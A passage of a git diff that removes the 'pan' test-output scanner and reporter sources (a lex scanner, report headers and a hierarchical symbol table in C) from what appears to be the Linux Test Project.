-	/* Retrieve one "stime" to get the date. */
-	for (tl = taglist; *tl != NULL; tl++) {
-		strcpy(key_get, *tl);
-		strcat(key_get, ",_keys,stime");
-		if ((info = (char *)sym_get(tags, key_get)) != NULL) {
-			clock = atoi(info);
-			tm = gmtime(&clock);
-			strftime(key_get, KEYSIZE, "%x", tm);
-			sym_put(tags, strdup("_RTS,date"), strdup(key_get), 0);
-			break;
-		}
-	}
-
-	print_header(tags);
-
-	/*
-	 * The way that I am using 'Keys' and 'Tag' makes assumptions about the
-	 * internals of the sym_* data structure.
-	 */
-	/* dump 'em all */
-	for (tl = taglist; *tl != NULL; tl++) {
-		if (!strcmp(*tl, "_RTS"))
-			continue;
-
-		strcpy(key_get, *tl);
-		strcat(key_get, ",_keys");
-		if ((Keys = sym_get(tags, key_get)) == NULL) {
-			return 0;
-		}
-
-		strcpy(key_get, *tl);
-		if ((Tag = sym_get(tags, key_get)) != NULL) {
-			tag_report(NULL, Tag, Keys);
-		}
-	}
-	free(taglist);
-
-	return 0;
-}
-
-/*
- * End-Of-Test seen, insert this tag into the global tag data.
- * (1) Get the test's tag
- * (2) insert the keywords in the "_keys" tag
- * (3) insert it into the global data under this tag, replacing any existing
- *      data.
- *
- * a "feature" of the key implimentation: I can insert a key tree
- * under another key tree with almost zero brainwork because a SYM
- * is what the DATA area points to.
- */
-static int scanner_test_end(SYM alltags, SYM ctag, SYM keys)
-{
-	static int notag = 0;	/* counter for records with no tag (error) */
-	char tagname[KEYSIZE];	/* used when creating name (see above) */
-	char *tag;		/* tag name to look things up in */
-	char *status;		/* initiation status of old tag */
-	SYM rm;			/* pointer to old tag -- to remove it */
-
-	if (alltags == NULL || keys == NULL || ctag == NULL)
-		return -1;	/* for really messed up test output */
-
-	/* insert keys into tag */
-	sym_put(ctag, "_keys", (void *)keys, 0);
-
-	/* get the tag, or build a new one */
-	if ((tag = (char *)sym_get(keys, "tag")) == NULL) {
-		/* this is an "impossible" situation: test_output checks for this
-		 * and creates a dummy tag. */
-		sprintf(tagname, "no_tag_%d", notag++);
-		fprintf(stderr, "No TAG key!  Using %s\n", tagname);
-		sym_put(keys, "tag", strdup(tagname), 0);
-		tag = strdup(tagname);
-	}
-
-	/*
-	 * Special case: duplicate tag that has an initiation_status failure
-	 * is thrown away.
-	 */
-	if ((rm = (SYM) sym_get(alltags, tag)) != NULL) {
-		if ((status =
-		     (char *)sym_get(keys, "initiation_status")) != NULL) {
-			if (strcmp(status, "ok")) {
-				/* do not take new data.  remove new data */
-				sym_rm(ctag, RM_KEY | RM_DATA);
-				return 1;
-			} else {
-				/* remove old data in alltags */
-				sym_rm(rm, RM_KEY | RM_DATA);
-			}
-		} else {
-			/* new data does not have an initiation_status -- throw it away */
-			sym_rm(ctag, RM_KEY | RM_DATA);
-			return 1;
-		}
-	}
-
-	/* put new data.. replaces existing "tag" key if it exists
-	 * (it's data should have been removed above) */
-	sym_put(alltags, tag, ctag, PUT_REPLACE);
-
-	return 0;
-}
-
-static int iscanner_reporter(SYM tags)
-{
-	return 0;
-}
-
-static int iscanner_test_end(SYM alltags, SYM ctag, SYM keys)
-{
-	if (alltags == NULL || keys == NULL || ctag == NULL)
-		return -1;	/* for really messed up test output */
-
-	/* insert keys into tag */
-	sym_put(ctag, "_keys", (void *)keys, 0);
-
-	return tag_report(alltags, ctag, keys);
-}
-
-int reporter(SYM s)
-{
-	return reporter_func(s);
-}
-
-int test_end(SYM a, SYM b, SYM c)
-{
-	return test_end_func(a, b, c);
-}
-
-void set_scanner(void)
-{
-	reporter_func = scanner_reporter;
-	test_end_func = scanner_test_end;
-}
-
-void set_iscanner(void)
-{
-	reporter_func = iscanner_reporter;
-	test_end_func = iscanner_test_end;
-}
diff --git a/pan/reporter.h b/pan/reporter.h
deleted file mode 100644
index 9af554c..0000000
--- a/pan/reporter.h
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: reporter.h,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-#ifndef _REPORT_H_
-#define _REPORT_H_
-#include "symbol.h"
-
-void set_scanner(void);
-void set_iscanner(void);
-
-int reporter( SYM );
-int test_end( SYM, SYM, SYM );
-
-/*
- * how much TCID space to start with (table)
- */
-#define NTCID_START 5
-
-/*
- * how much tag space to start with (table)
- */
-#define	NTAGS_START	500
-
-/* Return Tokens (from lex) */
-#define		KW_START	100
-#define		KW_END		101
-#define		TEST_START	102
-#define		TEST_OUTPUT	103
-#define		EXEC_STATUS	104
-#define		TEST_END	105
-#define		TEXT_LINE	106
-#define		KEYWORD		107
-#define		KEYWORD_QUOTED	108
-#define		CUTS_RESULT	109
-#define		CUTS_RESULT_R	110
-#define		SPACE		999
-
-/* Scan Modes (above and beyond what I use lex for) */
-#define		SCAN_OUTSIDE	10	/* not in anything */
-#define		SCAN_RTSKEY	20	/* keywords: rts_keyword */
-#define		SCAN_TSTKEY	21	/* keywords: either test_start or
-					   execution_status */
-#define		SCAN_OUTPUT	30	/* test_output */
-
-/*
- *	Configuration type things
- */
-#define KEYSIZE	255	/* maximum key size */
-
-#endif
diff --git a/pan/scan.h b/pan/scan.h
deleted file mode 100644
index 6e01a32..0000000
--- a/pan/scan.h
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: scan.h,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-#ifndef _SCAN_H_
-#define _SCAN_H_
-#include "symbol.h"
-
-int scanner ( SYM );
-int sym_dump_s ( SYM, int );
-int lex_files( char ** );
-
-#endif
diff --git a/pan/scan.l b/pan/scan.l
deleted file mode 100644
index fdc33f3..0000000
--- a/pan/scan.l
+++ /dev/null
@@ -1,456 +0,0 @@
-%{
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: scan.l,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-/*
- * Lex rules for input processing.
- *
- * This handles all of the input parsing.  The rules liste here properly
- * store or process the pertenant input data in the proper ways.  The rules
- * for the various patterns maintains a "state" to determine if corrupted
- * input is seen (%Start keys + internal ones that only flag errors).
- *
- * See scanner.c for routines called from the actions.
- *
- * States:
- *	SCAN_OUTSIDE
- *		start-up state, inbetween tests
- *	SCAN_RTSKEY			valid from SCAN_OUTSIDE
- *		from rts_keyword_start to _end
- *		accompanied by lex KEY state.
- *	SCAN_TSTKEY			valid from SCAN_OUTSIDE
- *		test_start to test_output or test_end,
- *		execution_status to test_end
- *		accompanied by lex KEY state.
- *	SCAN_OUTPUT
- *		test_output to execution_status.
- *		accompanied by lex OUT or CUTS states.
- */
-
-#include <stdarg.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "scan.h"
-#include "reporter.h"
-#include "symbol.h"
-#include "tag_report.h"
-
-int scan_mode = SCAN_OUTSIDE;	/* current mode */
-char *key, *cont;	/* keyword pieces */
-SYM keys=NULL;		/* stored keywords */
-SYM ctag=NULL;		/* temporary - for storing current tag's info */
-SYM alltags;		/* entire tag database.  set to scanner 'tags' param.*/
-SYM k;			/* temporary sym pointer -- for key removal */
-char info[KEYSIZE];	/* tmp string for inserting line numbers */
-static int test_output( SYM, SYM);
-static int check_mode(int, int, ...);
-
-/*
- * Lex Definitions:
- * UI	Unsigned Integer
- * A	Alphabetic
- * W	"Word" characters (Alpha, Numeric, Hyphens, Underscores)
- * S    Space characters
- */
-%}
-
-%option noc++
-%option noinput
-%option nolex-compat
-%option nounput
-%option yylineno
-
-UI      [0-9]+
-A       [a-zA-Z]+
-W	[a-zA-Z0-9_-]+
-S	[ \t]+
-
-%Start KEY OUT CUTS
-%%
-^<<<rts_keyword_start>>>$	{
-    BEGIN KEY;
-    check_mode(scan_mode, SCAN_OUTSIDE, 0);
-    scan_mode = SCAN_RTSKEY;
-
-    /* remove any keys that exist right now */
-    if(keys != NULL)
-	sym_rm(keys, RM_KEY | RM_DATA);
-    /* start a new table of keys */
-    keys = sym_open(0, 0, 0);
-    return(KW_START);
-    /* NOTREACHED */
-}
-
-^<<<rts_keyword_end>>>$		{
-    BEGIN 0;
-    check_mode(scan_mode, SCAN_RTSKEY, 0);
-    scan_mode = SCAN_OUTSIDE;
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 10) {
-	printf("RTS Keywords:\n");
-	sym_dump_s(keys, 0);
-    }
-#endif
-    /* remove _RTS key, if it exists, before replacing it */
-    if( (k=(SYM)sym_get(alltags, "_RTS")) != NULL) {
-	sym_rm(k, RM_KEY | RM_DATA);
-    }
-
-    sym_put(alltags, "_RTS", (void *)keys, PUT_REPLACE);
-    keys = NULL;
-
-    return(KW_END);
-    /* NOTREACHED */
-}
-
-^<<<test_start>>>$		{
-    BEGIN KEY;
-    check_mode(scan_mode, SCAN_OUTSIDE, 0);
-    scan_mode = SCAN_TSTKEY;
-
-    /*
-     * set up new "tag" and "keys" tables
-     * to put the new data into.
-     */
-
-    /* remove any keys that exist right now */
-    if(keys != NULL)
-	sym_rm(keys, RM_KEY | RM_DATA);
-    keys = sym_open(0, 0, 0);
-
-    sprintf(info, "%d", yylineno);
-    sym_put(keys, "_Start_line", strdup(info), 0);
-
-    /* remove any tag info that exists right now */
-    if(ctag != NULL)
-	sym_rm(ctag, RM_KEY | RM_DATA);
-    ctag = sym_open(0, 0, 0);
-
-    return(TEST_START);
-    /* NOTREACHED */
-}
-
-^<<<test_output>>>$		{
-    BEGIN OUT;
-    check_mode(scan_mode, SCAN_TSTKEY, 0);
-    scan_mode = SCAN_OUTPUT;
-
-    test_output(ctag, keys);
-
-    return(TEST_OUTPUT);
-    /* NOTREACHED */
-}
-
-^<<<execution_status>>>$	{
-    BEGIN KEY;
-    check_mode(scan_mode, SCAN_TSTKEY, SCAN_OUTPUT, 0);
-    scan_mode = SCAN_TSTKEY;
-    return(EXEC_STATUS);
-    /* NOTREACHED */
-}
-
-^<<<test_end>>>$		{
-    BEGIN 0;
-    check_mode(scan_mode, SCAN_TSTKEY, 0);
-    scan_mode = SCAN_OUTSIDE;
-
-    sprintf(info, "%d", yylineno);
-
-    sym_put(keys, "_End_line", strdup(info), 0);
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 10) {
-	printf("Tag's Keywords:\n");
-	sym_dump_s(keys, 0);
-    }
-#endif
-    test_end(alltags, ctag, keys);
-    ctag = keys = NULL;
-
-    return(TEST_END);
-    /* NOTREACHED */
-}
-
-<KEY>[a-zA-Z_-]+=\"[^\"\n]+\"	{
-    key = yytext;
-    cont = strchr(yytext, '=');
-    *cont++ = '\0';
-    if(*cont == '"') cont++;
-    if(yytext[yyleng-1] == '"')
-	yytext[yyleng-1] = '\0';
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 5)
-	printf("A quoted keyword: %s = %s\n", key, cont);
-#endif
-    sym_put(keys, key, strdup(cont), 0);
-
-    return(KEYWORD_QUOTED);
-    /* NOTREACHED */
-}
-
-<KEY>[a-zA-Z_-]+=[^\t \n]+	{
-    key = yytext;
-    cont = strchr(yytext, '=');
-    *cont++ = '\0';
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 5)
-	printf("A keyword: %s = %s\n", key, cont);
-#endif
-    sym_put(keys, key, strdup(cont), 0);
-
-    return(KEYWORD);
-    /* NOTREACHED */
-}
-
-<KEY>[ \t\n]*			{
-    return(SPACE);
-    /* NOTREACHED */
-}
-
-<OUT>^.+$			{
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 5)
-	printf("TEXT_LINE: %s\n", yytext);
-#endif
-
-    return(TEXT_LINE);
-    /* NOTREACHED */
-}
-
-<CUTS>^{W}{S}{UI}{S}{A}{S}":"	   {
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 5)
-	printf("CUTS Result: %s\n", yytext);
-#endif
-    cuts_testcase(ctag, keys);
-
-    return(CUTS_RESULT);
-    /* NOTREACHED */
-}
-
-<CUTS>^{W}{S}{UI}-{UI}{S}{A}{S}":" {
-#ifdef DEBUGGING
-    DEBUG(D_SCAN_LEX, 5)
-	printf("CUTS Result: %s\n", yytext);
-#endif
-    cuts_testcase(ctag, keys);
-
-    return(CUTS_RESULT_R);
-    /* NOTREACHED */
-}
-
-.				{
-    return(SPACE);
-    /* NOTREACHED */
-
-}
-"\n"				{
-    return(SPACE);
-    /* NOTREACHED */
-}
-%%
-/*
- * the BEGIN macro only exists in the lex file, so define a routine to
- * BEGIN the CUTS state.
- */
-int
-begin_cuts(void)
-{
-    BEGIN CUTS;
-    return 0;
-}
-
-/*
- * Calls lex repeatedly until all input is seen.
- */
-int
-scanner(SYM tags)
-{
-    alltags = tags;		/* move into global scope for lex actions */
-
-    while(yylex())
-	;
-
-    return 0;
-}
-
-/*
- * Test-Output record
- *  check if this is a CUTS test; if so, enter the lex "cuts" state;
- *  otherwise do nothing and lex will be in a "data" mode that will just
- *  toss all the output.
- */
-static int
-test_output(SYM tag, SYM keys)
-{
-    char *at;
-
-    if((at=(char *)sym_get(keys, "analysis")) != NULL) {
-	/* CUTS:number_of_testcases  || CUTS-1:number_of_testcases */
-	if(strncasecmp("cuts", at, 4) == 0) {
-	    begin_cuts();
-	    /*printf("CUTS output expected\n");*/
-	}
-    }
-    return 0;
-}
-
-/* Input Data State Check
- * RTS driver output goes thru specific
- * phases; this is used to verify that the new state is a legal state
- * to change to from the current state.
- * This accepts a variable number of arguments (valid states to be
- * in).  The last argument MUST be zero
- */
-struct parse_states {
-	char *name;
-	int bits;
-} parse_states[] = {
-  { "outside",				SCAN_OUTSIDE },
-  { "rts_keyword_start",		SCAN_RTSKEY },
-  { "test_start | execution_status", 	SCAN_TSTKEY },
-  { "test_output",			SCAN_OUTPUT },
-  { "unknown",				0 }, /*end sentinel: bits = 0 */
-};
-
-static int
-check_mode(int scan_mode, int fst, ...)
-{
-    va_list ap;			/* used for variable argument functions*/
-    int found=0;		/* set to true if a valid state was found */
-    int ckm;			/* Check Mode: the mode to look for */
-    register struct parse_states *ps; /* for looking thru parse_states */
-    char exp_mode[KEYSIZE];	/* expected mode list (for error message) */
-
-    extern int yylineno;	/* Line number from Lex */
-
-    /* look thru parse_states; end sentinel is "bits" = 0 */
-    for(ps=parse_states; ps->bits && (ps->bits != fst);ps++)
-	;
-    strcpy(exp_mode, ps->name);
-
-    /* look at first variable argument */
-    if(fst == scan_mode)
-	found++;
-    else {
-	/* not first... look at variable args */
-	va_start(ap, fst);
-	while(((ckm = va_arg(ap, int)) != 0) && (ckm != scan_mode)) {
-	    for(ps=parse_states; ps->bits && (ps->bits != ckm);ps++)
-		;
-	    strcat(exp_mode, ", ");
-	    strcat(exp_mode, ps->name);
-	}
-	va_end(ap);
-
-	if(ckm == scan_mode)
-	    found++;
-    }
-
-    if(!found) {
-	for(ps=parse_states; ps->bits && (ps->bits != scan_mode);ps++)
-	    ;
-
-	fprintf(stderr, "PARSE ERROR -- Line %d found %s in mode %s[%d] expected { %s }\n",
-		yylineno, yytext, ps->name, scan_mode, exp_mode);
-    }
-
-    return 0;
-}
-
-/*
- * This part of the file contains subroutines called by a lex scanner which
- * is parsing rts-driver-format input and putting it into a multi-level
- * symbol table.
- */
-
-/*
- * References to lex variables
- */
-/*extern char yytext[];		/ * text matched by last pattern */
-/*extern long yyleng;		/ * length of above */
-
-char **filenames;
-
-int
-lex_files(char **names)
-{
-    /* lex */
-    extern FILE *yyin;
-
-    filenames = names;
-
-    if(*filenames != NULL) {
-#ifdef DEBUGGING
-	DEBUG(D_SCAN, 1)
-	    printf("lex_files: first file is %s\n", *filenames);
-#endif
-	if((yyin = fopen(*filenames, "r")) == NULL) {
-	    printf("Error opening %s for reading\n", *filenames);
-	    exit(1);
-	}
-    }
-
-    return 0;
-}
-
-/*
- * Called by lex's end-of-file processing.
- *  Open the next file on the command line.  If there is no next file,
- *  return "-1" and lex will end.
- */
-int
-yywrap(void)
-{
-    extern FILE *yyin;
-    extern int yylineno;	/* Line number from Lex */
-
-    if(*filenames != NULL)
-	if(*++filenames != NULL) {
-#ifdef DEBUGGING
-	DEBUG(D_SCAN, 1)
-	    printf("yywrap: next file is %s\n", *filenames);
-#endif
-	    yylineno=1;
-	    if((yyin = fopen(*filenames, "r")) != NULL)
-		return(0);
-	    else {
-		printf("Error opening %s for reading\n", *filenames);
-		return(1);
-	    }
-	}
-
-    return(-1);
-}
-
diff --git a/pan/symbol.c b/pan/symbol.c
deleted file mode 100644
index 3752114..0000000
--- a/pan/symbol.c
+++ /dev/null
@@ -1,467 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: symbol.c,v 1.4 2002/05/28 16:26:16 robbiew Exp $ */
-/*
- *			Generic Symbol Table
- *
- * This is intended to look a lot like ndbm, except that all information
- * is kept in memory, and a multi-key, hierarchical access mode is provided.
- * This is largely patterned after the Berkeley "DB" package.
- *
- *			    Requirements
- *
- *	- "key" is ASCII (a C string, in fact)
- *
- *			Symbol Table Structure
- *
- *	Two data structures:
- *		Symbol Table Header
- *		Symbol Table Node
- *
- *	A symbol table header consists of a magic number, a pointer to
- *	the first node in the symbol table, and a cursor that is used
- *	when sequentialy stepping thru the entire list.
- *
- *	Symbol table nodes contain a pointer to a key, a pointer to this
- *	key's data, and a pointer to the next node in the chain.
- *	Note that to create a hierarchical symbol table, a node is created
- *	whose data points to a symbol table header.
- */
-
-#include <stdio.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <string.h>
-#include <assert.h>
-#include "symbol.h"
-#include "splitstr.h"
-
-#define SYM_MAGIC	0xbadc0de
-
-/*
- * Some functions can report an error message by assigning it to this
- * string.
- */
-
-static char *sym_error = NULL;
-
-/*
- *	Memory Allocators
- *
- * newsym() allocates a new symbol table header node
- * mknode(...) allocates a new symbol table entry
- */
-
-SYM newsym(void)
-{
-	SYM h;
-
-	if ((h = malloc(sizeof(struct symh))) == NULL) {
-		sym_error = "sym header malloc failed!";
-		return (NULL);
-	}
-
-	h->magic = SYM_MAGIC;
-	h->sym = NULL;
-	h->cursor = NULL;
-	return (h);
-}
-
-static struct sym *mknode(struct sym *next, char *key, void *data)
-{
-	struct sym *n;
-
-	if ((n = malloc(sizeof(struct sym))) == NULL) {
-		sym_error = "sym node malloc failed!";
-		return (NULL);
-	}
-
-	n->next = next;
-	n->key = strdup(key);
-	n->data = data;
-
-	if (n->key == NULL) {
-		sym_error = "sym node strdup(key) failed!";
-		free(n);
-		return (NULL);
-	}
-	return (n);
-}
-
-/*
- * Search for a key in a single-level symbol table hierarchy.
- */
-static struct sym *find_key1(struct sym *sym, char *key)
-{
-	while (sym != NULL)
-		if (strcmp(sym->key, key) == 0)
-			return (sym);
-		else
-			sym = sym->next;
-	return (NULL);
-}
-
-/*
- * Create a new key node, add it to the *end* of this list
- */
-static int add_key(SYM sym, char *key, void *data)
-{
-	register struct sym *sn;
-
-	if (sym->sym == NULL) {
-		sym->sym = mknode(NULL, key, data);
-		if (sym->sym == NULL) {
-			return (-1);
-		}
-	} else {
-		for (sn = sym->sym; sn != NULL && sn->next != NULL;
-		     sn = sn->next) ;
-		sn->next = mknode(NULL, key, data);
-		assert(sn->next != NULL);
-		if (sn->next == NULL)
-			return (-1);
-	}
-	return (0);
-}
-
-/*
- *  Create a new symbol table
- */
-SYM sym_open(int flags, int mode, int openinfo)
-{
-	return (newsym());
-}
-
-/*
- *	Add (key, data) to an existing symbol table
- *
- *  If the key does not exist, a new key is added to the end of the list.
- *  If the key exists and the PUT_REPLACE flag is not supplied, return EEXIST.
- *  If a symbol table entry in a multi-part key is not a symbol table (i.e.
- *  element two of a three or more element key), return ENOTDIR.
- *
- *  "data" is not duplicated and must not point to a static area that could
- *  go away before the element is deleted (such as a local string in a
- *  function)
- *
- *  "key" is duplicated as needed, and is not modified.
- *
- * Code:
- * chop up key on commas
- *
- * search until a key element isn't found in the key tree, the key list is
- * exhausted, or a key's data element is not a sub-tree
- *
- * if the key list is exhausted, return a "duplicate entry" error
- *
- * if the last found key's data element is not a sub-tree, return
- * something like "ENOTDIR".
- *
- * add new keys for sub-trees until key list is exhausted;
- * last node gets 'data'.
- *
- */
-int sym_put(SYM sym, char *key, void *data, int flags)
-{
-	const char **keys;	/* key split into a 2d string array */
-	char **kk;
-	char *nkey;		/* copy of 'key' -- before split */
-	SYM csym, ncsym;	/* search: current symbol table */
-	struct sym *nsym = NULL;	/* search: found symbol entry */
-
-	if (sym == NULL)
-		return (EINVAL);
-
-	nkey = strdup(key);
-	keys = splitstr(key, ",", NULL);
-
-	if (keys == NULL) {
-		free(nkey);
-		return (EINVAL);
-	}
-
-	for (kk = (char **)keys, csym = sym;
-	     *kk != NULL && (nsym = find_key1(csym->sym, *kk)) != NULL;
-	     csym = nsym->data) {
-
-		if (*++kk == NULL)
-			break;
-
-		if (nsym->data == NULL) {	/* fatal error */
-			free(nkey);
-			splitstr_free(keys);
-			return (ENOTDIR);
-		}
-		if (((SYM) (nsym->data))->magic != SYM_MAGIC) {
-			free(nkey);
-			splitstr_free(keys);
-			return (ENOTDIR);
-		}
-	}
-
-	if (*kk == NULL) {	/* found a complete match */
-		free(nkey);
-		splitstr_free(keys);
-
-		if (flags == PUT_REPLACE) {
-			nsym->data = data;
-			return (0);
-		} else {
-			return (EEXIST);
-		}
-	}
-
-	/* csym is a ptr to a list */
-	for (; *kk != NULL; kk++) {
-		if (*(kk + 1) != NULL) {
-			add_key(csym, *kk, (void *)(ncsym = newsym()));
-			csym = ncsym;
-		} else {
-			add_key(csym, *kk, data);	/* last key */
-		}
-	}
-
-	free(nkey);
-	splitstr_free(keys);
-	return (0);
-}
-
-/*
- *	Retrieve a Symbol's Contents
- *
- *  "key" is not modified.
- *  If the key cannot be found, NULL is returned
- */
-void *sym_get(SYM sym, char *key)
-{
-	char *nkey;
-	const char **keys;	/* key split into a 2d string array */
-	char **kk;
-	SYM csym;		/* search: current symbol table */
-	struct sym *nsym = NULL;	/* search: found symbol entry */
-
-	if (sym == NULL)
-		return (NULL);
-
-	nkey = strdup(key);
-	keys = splitstr(nkey, ",", NULL);
-	if (keys == NULL)
-		return (NULL);
-
-	for (kk = (char **)keys, csym = sym;
-	     *kk != NULL && (nsym = find_key1(csym->sym, *kk)) != NULL;
-	     csym = nsym->data) {
-
-		if (*++kk == NULL)
-			break;
-
-		if (nsym->data == NULL) {	/* fatal error */
-			free(nkey);
-			splitstr_free(keys);
-			return (NULL);
-		}
-		if (((SYM) (nsym->data))->magic != SYM_MAGIC) {
-			free(nkey);
-			splitstr_free(keys);
-			return (NULL);
-		}
-	}
-
-	if (*kk == NULL) {	/* found a complete match */
-		splitstr_free(keys);
-		free(nkey);
-		return (nsym->data);
-	} else {
-		splitstr_free(keys);
-		free(nkey);
-		return (NULL);
-	}
-}
-
-/*
- *  Step thru a symbol table list
- *
- *  The cursor must be set by R_CURSOR, R_FIRST before using R_NEXT.
- *  NULL is returned when no more items are available.
- */
-int sym_seq(SYM sym, DBT * key, DBT * data, int flags)
-{
-	SYM csym;
-
-	switch (flags) {
-		/*
-		 * A number of ways to do this:
-		 * specificly: sym_seq( .., "key,key") sets to Nth element of the 2nd
-		 *  level symbol table
-		 * sym_seq(.., "key,key,") sets to the first element of the 3rd
-		 *  level symbol table
-		 *
-		 * sym_seq(.., "key,key") where both must be complete keys, sets
-		 *  cursor to the first element of the 3rd level symbol table;
-		 *  if there is no 3rd level, return an error.
-		 */
-	case R_CURSOR:
-		csym = (SYM) sym_get(sym, (char *)key->data);
-		if (csym == NULL || csym->magic != SYM_MAGIC) {
-			return (2);
-		}
-		sym->cursor = csym->sym;
-		if (sym->cursor == NULL)
-			return (1);
-		key->data = sym->cursor->key;
-		data->data = sym->cursor->data;
-
-		return (0);
-
-	case R_FIRST:
-		sym->cursor = sym->sym;
-		if (sym->cursor == NULL)
-			return (1);
-		key->data = sym->cursor->key;
-		data->data = sym->cursor->data;
-
-		return (0);
-
-	case R_NEXT:
-		if (sym->cursor == NULL)
-			return (1);
-		sym->cursor = sym->cursor->next;
-
-		if (sym->cursor == NULL)
-			return (1);
-
-		key->data = sym->cursor->key;
-		data->data = sym->cursor->data;
-
-		return (0);
-
-	case R_LAST:
-	case R_PREV:
-	default:
-		return (-1);
-	}
-}
-
-/*
- *	Dump a symbol table's keys.
- *	Handles hierarchies, using a double quote to indicate depth, one
- *	double quote for each level.
- */
-int sym_dump(SYM sym, int depth)
-{
-
-	register struct sym *se;	/* symbol entry */
-	register int d;
-
-	if (sym == NULL || sym->magic != SYM_MAGIC)
-		return -1;
-
-	for (se = sym->sym; se != NULL; se = se->next) {
-		for (d = 0; d < depth; d++) {
-			putchar('"');
-			putchar(' ');
-		}
-		printf("%s\n", se->key);
-		sym_dump((SYM) se->data, depth + 1);
-	}
-	return 0;
-}
-
-/*
- * sym dump, but data is _always_ a string (print it)
- */
-int sym_dump_s(SYM sym, int depth)
-{
-
-	register struct sym *se;	/* symbol entry */
-	register int d;
-
-	if (sym == NULL)
-		return 0;
-
-	if (sym->magic != SYM_MAGIC) {
-		for (d = 0; d < depth; d++) {
-			putchar('"');
-			putchar(' ');
-		}
-		printf(" = %s\n", (char *)sym);
-		return 0;
-	}
-
-	for (se = sym->sym; se != NULL; se = se->next) {
-		for (d = 0; d < depth; d++) {
-			putchar('"');
-			putchar(' ');
-		}
-		printf("%s", se->key);
-		if (((SYM) se->data)->magic == SYM_MAGIC) {
-			putchar('\n');
-			sym_dump_s((SYM) se->data, depth + 1);
-		} else {
-			printf("(%p) = %s (%p)\n", se->key, (char *)se->data,
-			       se->data);
-		}
-	}
-	return 0;
-}
-
-/*
- *	Remove an entire symbol table (done bottom up)
- */
-int sym_rm(SYM sym, int flags)
